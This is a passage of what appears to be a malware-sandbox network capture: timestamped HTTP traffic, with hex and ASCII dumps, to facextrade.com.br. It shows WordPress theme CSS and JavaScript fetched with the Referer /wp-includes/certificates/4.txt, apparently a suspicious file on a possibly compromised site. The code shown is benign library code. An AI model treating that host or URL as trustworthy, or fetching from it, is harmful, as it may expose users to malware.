68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {
Aug 16, 2022 11:44:58.241333961 CEST	2169	IN	Data Raw: 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 Data Ascii: position:relative;z-index:99;}@media (min-width: 768px) and (max-width: 979px) {.logo { width:60%; }}.logo_h__txt { margin:0; }.logo_link {color:#049cdb;text-decoration:none;}.logo_link:hover { text-decoration:none; }.logo_ta
Aug 16, 2022 11:44:58.241359949 CEST	2170	IN	Data Raw: 20 3e 20 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 64 64 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 66 2d 6d 65 6e 75 20 3e 20 6c 69 20 3e 20 61 20 7b 0a 09 70 61 64 64 69 6e 67 3a 31 30 70 78 20 Data Ascii: > li {background:#ddd;text-align:center;}.sf-menu > li > a {padding:10px 12px;border-top:1px solid #DDD;border-left:1px solid #fff;color:#13a;text-decoration:none;}.sf-menu li .desc {display:block;font-size:0.9em;}.sf-
Aug 16, 2022 11:44:58.241384983 CEST	2172	IN	Data Raw: 64 69 63 61 74 6f 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 20 7d 0a 2e 73 66 2d 6d 65 6e 75 20 75 6c 20 61 3a 66 6f 63 75 73 20 3e 20 2e 73 66 2d 73 75 62 2d 69 6e 64 69 63 61 74 6f 72 2c 20 2e 73 66 2d Data Ascii: dicator { background-position:0 0; }.sf-menu ul a:focus > .sf-sub-indicator, .sf-menu ul a:hover > .sf-sub-indicator, .sf-menu ul a:active > .sf-sub-indicator, .sf-menu ul li:hover > a > .sf-sub-indicator, .sf-menu ul li.sfHover > a > .sf-sub
Aug 16, 2022 11:44:58.241410017 CEST	2173	IN	Data Raw: 5f 6c 6f 61 64 65 72 20 7b 0a 09 7a 2d 69 6e 64 65 78 3a 30 3b 0a 09 74 6f 70 3a 35 30 25 3b 0a 09 6c 65 66 74 3a 35 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 2d 31 38 70 78 20 30 20 30 20 2d 31 38 70 78 3b 0a 09 77 69 64 74 68 3a 33 36 70 78 3b 0a 09 Data Ascii: _loader {z-index:0;top:50%;left:50%;margin:-18px 0 0 -18px;width:36px;height:36px;position:absolute;}.content-holder {position:relative;z-index:1;padding-bottom:50px;}#content { padding-top:40px; }#content.left {posi
Aug 16, 2022 11:44:58.241434097 CEST	2174	IN	Data Raw: 6d 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 7d 0a 2e 74 65 73 Data Ascii: m;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.testimonial_bq {margin:0;padding:0;border:none;}.testimonial_content {overflow:hidden;background:url(../images/quotes.png) no-repeat 0 0;}@media (min-
Aug 16, 2022 11:44:58.241457939 CEST	2176	IN	Data Raw: 67 69 6e 3a 30 20 30 20 32 65 6d 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 31 65 6d 20 30 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 6f 72 64 65 72 2d 62 Data Ascii: gin:0 0 2em 0;padding:1em 0;border:none;border-top:1px solid #DDD;border-bottom:1px solid #DDD;}.portfolio-meta-list li {margin:.5em 0 0 0;padding:0;border:none;background:none;list-style-type:none;text-transform:none;}
Aug 16, 2022 11:44:58.241487980 CEST	2177	IN	Data Raw: 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 62 6c 61 63 6b 2d 6f 70 61 63 69 74 79 2d 36 30 2e 70 6e 67 29 3b 0a 7d 0a 2e 7a 6f 6f 6d 2d 69 63 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 Data Ascii: round:url(../images/black-opacity-60.png);}.zoom-icon:before {position:absolute;top:50%;left:50%;display:block;margin:-13px 0 0 -13px;width:25px;height:26px;background:url(../images/magnify-alt.png) 50% 50% no-repeat;conten
Aug 16, 2022 11:44:58.241513968 CEST	2179	IN	Data Raw: 65 72 61 62 6c 65 2d 70 6f 72 74 66 6f 6c 69 6f 20 2e 69 6d 61 67 65 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 Data Ascii: erable-portfolio .image-wrap {position:relative;display:block;overflow:hidden;}.filterable-portfolio .image-wrap:before {top:50%;left:50%;margin:-16px 0 0 -16px;z-index:-1;}.filterable-portfolio .folio_loader {top:50%;lef
Aug 16, 2022 11:44:58.241713047 CEST	2180	IN	Data Raw: 73 20 65 61 73 65 3b 0a 7d 0a 2e 76 69 64 65 6f 5f 70 72 65 76 69 65 77 20 68 34 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 30 20 37 70 78 20 35 70 78 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b Data Ascii: s ease;}.video_preview h4 {padding:0 0 7px 5px;border-bottom:1px solid #DDD;}.video_preview .post_author {float:left;padding:0 0 5px 5px;}.video_preview .post_date {float:right;padding:0 5px 5px 0;}.isotope-item { z-index:2
Aug 16, 2022 11:44:58.483607054 CEST	2195	IN	Data Raw: 63 6f 6c 6f 72 3a 23 46 41 46 41 46 41 3b 0a 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 68 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 20 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 6c 69 6e 6b 20 7b 20 6d 61 72 67 69 6e Data Ascii: color:#FAFAFA;}.post-author_h { margin-bottom:20px; }.post-author_link { margin-top:1.5em; }.post-author_gravatar {float:left;margin:0 20px 0 0;}.post-author_gravatar img {padding:5px;border:1px solid #DDD;background:#fff;}.p
Aug 16, 2022 11:44:58.878211975 CEST	2332	OUT	GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.119848013 CEST	2352	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:40 GMT Server: Apache ETag: "a534bd-434-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 1076 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588048 22395061 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68 Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h
Aug 16, 2022 11:44:59.152218103 CEST	2353	OUT	GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.394547939 CEST	2358	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:39 GMT Server: Apache ETag: "a55e6f-27f7-58592be2ea280" Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT Content-Length: 10231 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588050 21188602 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61 Data Ascii: /SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> /var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fa
Aug 16, 2022 11:44:59.428587914 CEST	2368	OUT	GET /wp-content/themes/CherryFramework/js/custom.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.674137115 CEST	2400	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:40 GMT Server: Apache ETag: "a534b4-1b97-58592d4796c00" Last-Modified: Tue, 02 Apr 2019 21:29:20 GMT Content-Length: 7063 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588052 22395063 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 64 6f 63 75 6d 65 6e 74 20 72 65 61 64 79 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 42 6c 6f 67 20 6d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 69 66 28 6a 51 75 65 72 79 28 27 62 6f 64 79 2e 62 6c 6f 67 27 29 5b 30 5d 29 7b 0a 09 09 76 61 72 20 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 20 3d 20 6a 51 75 65 72 79 28 27 2e 69 73 6f 74 6f 70 65 27 29 3b 0a 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 7b 0a 09 09 09 09 69 74 65 6d 53 65 6c 65 63 74 6f 72 20 3a 20 27 2e 70 6f 73 74 5f 77 72 61 70 70 65 72 27 2c 0a 09 09 09 09 68 69 64 64 65 6e 43 6c 61 73 73 20 3a 20 27 68 69 64 64 65 6e 27 2c 0a 09 09 09 09 72 65 73 69 7a 61 62 6c 65 20 3a 20 74 72 75 65 2c 0a 09 09 09 09 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62 6c 65 64 20 3a 20 66 61 6c 73 65 2c 0a 09 09 09 09 6c 61 79 6f 75 74 4d 6f 64 65 3a 20 27 6d 61 73 6f 6e 72 79 27 0a 09 09 09 7d 29 2e 62 69 6e 64 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 09 69 73 6f 74 6f 70 65 5f 68 6f 6c 64 65 72 2e 69 73 6f 74 6f 70 65 28 27 72 65 4c 61 79 6f 75 74 27 29 3b 0a 09 09 09 7d 29 2e 74 72 69 67 67 65 72 28 22 72 65 73 69 7a 65 2e 72 61 69 6e 62 6f 77 73 22 29 2e 63 73 73 28 7b 27 76 69 73 69 62 69 6c 69 74 79 27 3a 27 76 69 73 69 62 6c 65 27 7d 29 3b 0a 09 09 7d 29 3b 0a 09 7d 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 43 61 6c 6c 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 6a 51 75 65 72 79 28 22 2e 74 68 75 6d 62 6e 61 69 6c 22 29 2e 70 61 72 65 6e 74 28 29 Data Ascii: // ---------------------------------------------------------// !!!!!!!!!!!!!!!!!document ready!!!!!!!!!!!!!!!!!!!!!!!!!!// ---------------------------------------------------------jQuery(document).ready(function(){// ---------------------------------------------------------// Blog masonry// ---------------------------------------------------------if(jQuery('body.blog')[0]){var isotope_holder = jQuery('.isotope');isotope_holder.imagesLoaded( function() {isotope_holder.isotope({itemSelector : '.post_wrapper',hiddenClass : 'hidden',resizable : true,transformsEnabled : false,layoutMode: 'masonry'}).bind("resize.rainbows", function(){isotope_holder.isotope('reLayout');}).trigger("resize.rainbows").css({'visibility':'visible'});});}// ---------------------------------------------------------// Call Magnific Popup// ---------------------------------------------------------jQuery(".thumbnail").parent()
Aug 16, 2022 11:44:59.684775114 CEST	2407	OUT	GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
